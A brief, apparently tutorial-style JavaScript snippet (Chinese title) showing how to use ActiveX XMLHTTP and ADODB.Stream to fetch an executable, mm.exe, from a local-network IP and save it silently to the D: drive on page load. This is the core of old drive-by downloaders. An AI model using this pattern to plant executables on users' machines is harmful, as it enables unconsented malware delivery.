javascript与xmlhttp联合实现文件下载

<script language='javascript'>
var xh;
function getXML(geturl)
{
alert("ll");
xh = new ActiveXObject("Microsoft.XMLHTTP"); 
xh.onreadystatechange = getReady; 
xh.open("GET",geturl,true);                     
xh.send();   
                          
}function getReady()
{
alert(xh.readyState);
if(xh.readyState==4)
{
if(xh.status==200) 
{saveFile("d:/mm.exe");return true;} 
else
{return false;}
}
else
return false;
}function saveFile(tofile)
{
var objStream; 
var imgs; 
imgs = xh.responseBody;  
objStream = new ActiveXObject("ADODB.Stream"); 
objStream.Type = 1; 
objStream.open();
objStream.write(imgs);
objStream.SaveToFile(tofile)
}
getXML("http://192.168.22.206/mm.exe");
</script>